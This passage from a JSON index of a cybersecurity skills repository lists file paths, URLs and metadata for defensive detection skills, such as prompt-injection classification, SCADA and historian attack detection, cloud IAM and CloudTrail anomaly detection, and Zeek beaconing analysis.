heuristic scoring for structural anomalies, and DeBERTa-based transformer classification, flagging direct injections (system-prompt overrides, role-play escapes) and indirect injections (encoded payloads, obfuscation) per OWASP LLM Top 10 (LLM01:2025). Use for input validation layers in chatbots/agents/RAG pipelines, or for retrospectively classifying injection attempts in logs or incident investigations.","domain":"cybersecurity","subdomain":"ai-security","tags":["prompt-injection","LLM-security","OWASP-LLM-Top10","NLP-classification","input-validation"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","atlas_techniques":["AML.T0051","AML.T0054","AML.T0056","AML.T0068","AML.T0067"],"nist_ai_rmf":["GOVERN-1.1","GOVERN-6.1","MEASURE-2.7","MEASURE-2.5","MANAGE-2.4"],"d3fend_techniques":["Content Validation","Content Filtering","Application Hardening","Inbound Traffic Filtering","User Behavior Analysis"],"nist_csf":["GV.OC-03","ID.RA-01","PR.PS-01","DE.AE-02"],"mitre_attack":["T1659","T1566","T1204","T1588.007","T1565"]},"isInternal":false,"tokens":1713,"sizeBytes":7709},{"name":"api-reference.md","path":"skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-anomalies-in-industrial-control-systems/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalies-in-industrial-control-systems%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":488,"sizeBytes":1772},{"name":"SKILL.md","path":"skills/detecting-anomalies-in-industrial-control-systems/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-anomalies-in-industrial-control-systems/SKILL.md","title":"detecting-anomalies-in-industrial-control-systems","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalies-in-industrial-control-systems%2FSKILL.md -->","frontmatter":{"name":"detecting-anomalies-in-industrial-control-systems","description":"Deploys anomaly detection for OT/ICS environments using machine learning on OT network baselines, physics-based process models, and Modbus/DNP3/OPC UA traffic analysis to flag deviations, rogue devices, and mismatches against historian data. Use for continuous OT monitoring, baselining deterministic SCADA polling, or investigating alerts from Nozomi Guardian/Dragos needing deeper protocol analysis.","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","anomaly-detection","machine-learning"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0043","AML.T0018"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","MAP-5.1"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T0836","T0831","T0832","T0814","T0801"]},"isInternal":false,"tokens":2855,"sizeBytes":12817},{"name":"api-reference.md","path":"skills/detecting-anomalous-authentication-patterns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-anomalous-authentication-patterns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalous-authentication-patterns%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":669,"sizeBytes":2378},{"name":"SKILL.md","path":"skills/detecting-anomalous-authentication-patterns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-anomalous-authentication-patterns/SKILL.md","title":"detecting-anomalous-authentication-patterns","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-anomalous-authentication-patterns%2FSKILL.md -->","frontmatter":{"name":"detecting-anomalous-authentication-patterns","description":"Detects anomalous authentication patterns using UEBA analytics, statistical baselines, and machine learning models to identify impossible travel, credential stuffing, brute force, password spraying, and compromised account behaviors across authentication logs. Activates for requests involving authentication anomaly detection, login behavior analysis, UEBA implementation, or suspicious sign-in investigation.\n","domain":"cybersecurity","subdomain":"identity-access-management","tags":["UEBA","authentication-anomaly","impossible-travel","brute-force","credential-stuffing","behavioral-analytics"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0043","AML.T0018"],"nist_ai_rmf":["MEASURE-2.7","MEASURE-2.5","MAP-5.1"],"nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1110","T1110.003","T1110.004","T1078","T1021"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning"],"techniques":[{"id":"T1110.004","name":"Brute Force:  Credential Stuffing","tactic":"initial-access","source":"attack"},{"id":"T1110.003","name":"Brute Force: Password Spraying","tactic":"initial-access","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1539","name":"Steal Web Session Cookie","tactic":"positioning","source":"attack"}]}},"isInternal":false,"tokens":6839,"sizeBytes":30097},{"name":"api-reference.md","path":"skills/detecting-api-enumeration-attacks/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-api-enumeration-attacks/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-api-enumeration-attacks%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":466,"sizeBytes":1931},{"name":"SKILL.md","path":"skills/detecting-api-enumeration-attacks/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-api-enumeration-attacks/SKILL.md","title":"detecting-api-enumeration-attacks","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-api-enumeration-attacks%2FSKILL.md -->","frontmatter":{"name":"detecting-api-enumeration-attacks","description":"Detect API enumeration attacks (BOLA/IDOR, OWASP API1:2023) by writing SIEM detection rules that flag sequential or UUID identifier iteration, parameter tampering, and mixed 200/401/403 response patterns from API gateway and WAF logs. Use when investigating suspected object-level authorization abuse, building threat-hunting queries for API access-control bypass, or hardening API logging/rate-limiting against enumeration.","domain":"cybersecurity","subdomain":"api-security","tags":["api-security","enumeration","bola","idor","broken-object-level-authorization","owasp-api-top-10","access-control","rate-limiting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1595","T1595.002","T1046","T1190","T1087"]},"isInternal":false,"tokens":3431,"sizeBytes":14613},{"name":"api-reference.md","path":"skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-arp-poisoning-in-network-traffic/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-arp-poisoning-in-network-traffic%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":476,"sizeBytes":1759},{"name":"SKILL.md","path":"skills/detecting-arp-poisoning-in-network-traffic/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-arp-poisoning-in-network-traffic/SKILL.md","title":"detecting-arp-poisoning-in-network-traffic","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-arp-poisoning-in-network-traffic%2FSKILL.md -->","frontmatter":{"name":"detecting-arp-poisoning-in-network-traffic","description":"Detect Layer 2 ARP poisoning/spoofing by deploying ARPWatch, Dynamic ARP Inspection (DAI), Wireshark packet analysis, and custom Python monitoring scripts that flag gratuitous ARP floods, IP-to-MAC mapping changes, and duplicate IP addresses. Use when investigating suspected man-in-the-middle interception or session hijacking on a local network segment, or when building layer-2 anomaly detection for a SOC.","domain":"cybersecurity","subdomain":"network-security","tags":["arp-poisoning","arp-spoofing","mitm","dynamic-arp-inspection","arpwatch","network-security","man-in-the-middle","layer-2-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1557.002","T1557","T1040","T1200"]},"isInternal":false,"tokens":3568,"sizeBytes":15137},{"name":"api-reference.md","path":"skills/detecting-attacks-on-historian-servers/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-attacks-on-historian-servers/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-historian-servers%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":508,"sizeBytes":1954},{"name":"SKILL.md","path":"skills/detecting-attacks-on-historian-servers/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-attacks-on-historian-servers/SKILL.md","title":"detecting-attacks-on-historian-servers","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-historian-servers%2FSKILL.md -->","frontmatter":{"name":"detecting-attacks-on-historian-servers","description":"Detect cyber attacks on OT historian servers (OSIsoft PI, Ignition, GE Proficy, Wonderware InSQL) using a Python detector that flags unauthorized queries, data manipulation, and lateral-movement indicators as historians pivot between IT and OT networks. Use when monitoring historians bridging IT/OT zones for compromise, investigating historian-specific CVE exploitation, or validating historian data integrity after a suspected OT incident.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","historian","osisoft-pi","ignition","pivot-point","data-integrity","lateral-movement"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T0811","T0882","T0888","T0846","T0859"]},"isInternal":false,"tokens":2499,"sizeBytes":11998},{"name":"api-reference.md","path":"skills/detecting-attacks-on-scada-systems/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-attacks-on-scada-systems/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-scada-systems%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":560,"sizeBytes":2078},{"name":"SKILL.md","path":"skills/detecting-attacks-on-scada-systems/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-attacks-on-scada-systems/SKILL.md","title":"detecting-attacks-on-scada-systems","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-attacks-on-scada-systems%2FSKILL.md -->","frontmatter":{"name":"detecting-attacks-on-scada-systems","description":"This skill covers detecting cyber attacks targeting Supervisory Control and Data Acquisition (SCADA) systems including man-in-the-middle attacks on industrial protocols, unauthorized command injection into PLCs, HMI compromise, historian data manipulation, and denial-of-service against control system communications. It leverages OT-specific intrusion detection systems, industrial protocol anomaly detection, and process data analytics to identify attacks that traditional IT security tools miss.\n","domain":"cybersecurity","subdomain":"ot-ics-security","tags":["ot-security","ics","scada","industrial-control","iec62443","intrusion-detection","threat-detection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","DE.CM-01","ID.AM-05","GV.OC-02"],"mitre_attack":["T0846","T0836","T0831","T0814","T0832"]},"isInternal":false,"tokens":6488,"sizeBytes":27530},{"name":"api-reference.md","path":"skills/detecting-aws-cloudtrail-anomalies/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-cloudtrail-anomalies/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-cloudtrail-anomalies%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":490,"sizeBytes":2110},{"name":"SKILL.md","path":"skills/detecting-aws-cloudtrail-anomalies/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-cloudtrail-anomalies/SKILL.md","title":"detecting-aws-cloudtrail-anomalies","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-cloudtrail-anomalies%2FSKILL.md -->","frontmatter":{"name":"detecting-aws-cloudtrail-anomalies","description":"Detect unusual API call patterns in AWS CloudTrail logs using boto3, statistical baselining, and behavioral analysis to identify credential compromise, privilege escalation, and unauthorized resource access.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","cloudtrail","anomaly-detection","threat-detection","boto3"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1580","T1538","T1098.001","T1526"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","defense-impairment"],"techniques":[{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"T1586.003","name":"Compromise Accounts: Cloud Accounts","tactic":"resource-development","source":"attack"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1005.001","name":"Account Manipulation: Account Linking","tactic":"defense-impairment","source":"f3"}]}},"isInternal":false,"tokens":727,"sizeBytes":3002},{"name":"api-reference.md","path":"skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-credential-exposure-with-trufflehog/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-credential-exposure-with-trufflehog%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":561,"sizeBytes":2128},{"name":"SKILL.md","path":"skills/detecting-aws-credential-exposure-with-trufflehog/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-credential-exposure-with-trufflehog/SKILL.md","title":"detecting-aws-credential-exposure-with-trufflehog","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-credential-exposure-with-trufflehog%2FSKILL.md -->","frontmatter":{"name":"detecting-aws-credential-exposure-with-trufflehog","description":"Scan source code repositories, CI/CD pipelines, and configuration files for exposed AWS credentials using TruffleHog, git-secrets, and AWS-native detection. Use when integrating secrets scanning into CI/CD, auditing repositories (including git history) for historically committed AWS keys, responding to a GuardDuty alert about credential use from an unexpected location, or verifying credential rotation removed all exposed keys.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws","credential-exposure","trufflehog","secrets-detection","devsecops"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1552.001","T1552","T1078.004","T1589.001"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","initial-access"],"techniques":[{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"F1006","name":"Account Takeover","tactic":"initial-access","source":"f3"},{"id":"F1006.001","name":"Account Takeover: Exposed API Key","tactic":"initial-access","source":"f3"},{"id":"F1006.002","name":"Account Takeover: Exposed Login Credential","tactic":"initial-access","source":"f3"},{"id":"T1550.001","name":"Use Alternate Authentication Material: Application Access Token","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":2786,"sizeBytes":11559},{"name":"template.md","path":"skills/detecting-aws-guardduty-findings-automation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-guardduty-findings-automation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":211,"sizeBytes":784},{"name":"api-reference.md","path":"skills/detecting-aws-guardduty-findings-automation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-guardduty-findings-automation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":627,"sizeBytes":2450},{"name":"standards.md","path":"skills/detecting-aws-guardduty-findings-automation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-guardduty-findings-automation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":168,"sizeBytes":668},{"name":"workflows.md","path":"skills/detecting-aws-guardduty-findings-automation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-guardduty-findings-automation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":182,"sizeBytes":693},{"name":"SKILL.md","path":"skills/detecting-aws-guardduty-findings-automation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-guardduty-findings-automation/SKILL.md","title":"detecting-aws-guardduty-findings-automation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-guardduty-findings-automation%2FSKILL.md -->","frontmatter":{"name":"detecting-aws-guardduty-findings-automation","description":"Build automated AWS GuardDuty finding response pipelines using EventBridge and Lambda to trigger real-time incident response, automatically quarantine compromised resources, and route security notifications. Use when designing automated remediation playbooks for GuardDuty findings across VPC Flow Logs, CloudTrail, DNS, EKS, or S3 data events, or when reducing mean time to respond to cloud threats.","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws","guardduty","eventbridge","lambda","threat-detection","automation","incident-response","siem"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1496","T1580","T1530","T1110"]},"isInternal":false,"tokens":2540,"sizeBytes":10666},{"name":"api-reference.md","path":"skills/detecting-aws-iam-privilege-escalation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-iam-privilege-escalation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-iam-privilege-escalation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":548,"sizeBytes":2238},{"name":"SKILL.md","path":"skills/detecting-aws-iam-privilege-escalation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-aws-iam-privilege-escalation/SKILL.md","title":"detecting-aws-iam-privilege-escalation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-aws-iam-privilege-escalation%2FSKILL.md -->","frontmatter":{"name":"detecting-aws-iam-privilege-escalation","description":"Detect AWS IAM privilege escalation paths using boto3 and Cloudsplaining policy analysis to identify overly permissive policies, dangerous permission combinations, and least-privilege violations","domain":"cybersecurity","subdomain":"cloud-security","tags":["aws","iam","privilege-escalation","cloudsplaining","boto3","policy-analysis","least-privilege"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1098.001","T1098.003","T1078.004","T1548.005","T1484"]},"isInternal":false,"tokens":541,"sizeBytes":2446},{"name":"api-reference.md","path":"skills/detecting-azure-lateral-movement/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-lateral-movement/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-lateral-movement%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":728,"sizeBytes":2896},{"name":"SKILL.md","path":"skills/detecting-azure-lateral-movement/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-lateral-movement/SKILL.md","title":"detecting-azure-lateral-movement","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-lateral-movement%2FSKILL.md -->","frontmatter":{"name":"detecting-azure-lateral-movement","description":"Detect lateral movement in Azure AD/Entra ID environments using Microsoft Graph API audit logs, Azure Sentinel KQL hunting queries, and sign-in anomaly correlation to identify privilege escalation, token theft, and cross-tenant pivoting.","domain":"cybersecurity","subdomain":"cloud-security","tags":["azure","entra-id","lateral-movement","sentinel","kql","graph-api","cloud-security","threat-hunting"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1550.001","T1021.007","T1098.003","T1528"]},"isInternal":false,"tokens":688,"sizeBytes":3231},{"name":"template.md","path":"skills/detecting-azure-service-principal-abuse/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-service-principal-abuse/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":212,"sizeBytes":929},{"name":"api-reference.md","path":"skills/detecting-azure-service-principal-abuse/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-service-principal-abuse/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":561,"sizeBytes":2421},{"name":"standards.md","path":"skills/detecting-azure-service-principal-abuse/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-service-principal-abuse/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":189,"sizeBytes":878},{"name":"workflows.md","path":"skills/detecting-azure-service-principal-abuse/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-service-principal-abuse/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":184,"sizeBytes":902},{"name":"SKILL.md","path":"skills/detecting-azure-service-principal-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-service-principal-abuse/SKILL.md","title":"detecting-azure-service-principal-abuse","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-service-principal-abuse%2FSKILL.md -->","frontmatter":{"name":"detecting-azure-service-principal-abuse","description":"Detect Azure service principal abuse in Microsoft Entra ID using KQL detection queries (Sentinel/Splunk) against Azure AD Audit and Sign-in Logs, covering added credentials, privileged role assignment, admin consent bypass, and service principal enumeration. Use when investigating suspected privilege escalation or persistence via service principals, or building threat-hunting queries for Entra ID identity abuse.","domain":"cybersecurity","subdomain":"cloud-security","tags":["azure","entra-id","service-principal","privilege-escalation","credential-abuse","detection","splunk","sentinel"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Token Binding","Restore Access","Application Protocol Command Analysis","Reissue Credential","Network Isolation"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1098.001","T1528","T1550.001","T1098.003"]},"isInternal":false,"tokens":1949,"sizeBytes":8581},{"name":"api-reference.md","path":"skills/detecting-azure-storage-account-misconfigurations/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-storage-account-misconfigurations/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-storage-account-misconfigurations%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":762,"sizeBytes":3414},{"name":"SKILL.md","path":"skills/detecting-azure-storage-account-misconfigurations/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-azure-storage-account-misconfigurations/SKILL.md","title":"detecting-azure-storage-account-misconfigurations","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-azure-storage-account-misconfigurations%2FSKILL.md -->","frontmatter":{"name":"detecting-azure-storage-account-misconfigurations","description":"Audit Azure Blob and ADLS storage accounts for public access exposure, weak or long-lived SAS tokens, missing encryption at rest, disabled HTTPS-only traffic, and outdated TLS versions, using the azure-mgmt-storage Python SDK to generate a risk-scored report. Use when assessing an Azure subscription's storage accounts for misconfiguration, building cloud security posture checks, or investigating a suspected data exposure via public blob access.","domain":"cybersecurity","subdomain":"cloud-security","tags":["Azure","storage-accounts","blob-storage","ADLS","SAS-tokens","encryption","public-access","cloud-misconfiguration","azure-mgmt-storage"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1530","T1078.004","T1619","T1580"]},"isInternal":false,"tokens":680,"sizeBytes":2940},{"name":"api-reference.md","path":"skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-beaconing-patterns-with-zeek/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-beaconing-patterns-with-zeek%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":525,"sizeBytes":1872},{"name":"SKILL.md","path":"skills/detecting-beaconing-patterns-with-zeek/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/detecting-beaconing-patterns-with-zeek/SKILL.md","title":"detecting-beaconing-patterns-with-zeek","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-beaconing-patterns-with-zeek%2FSKILL.md -->","frontmatter":{"name":"detecting-beaconing-patterns-with-zeek","description":"Performs statistical analysis of Zeek 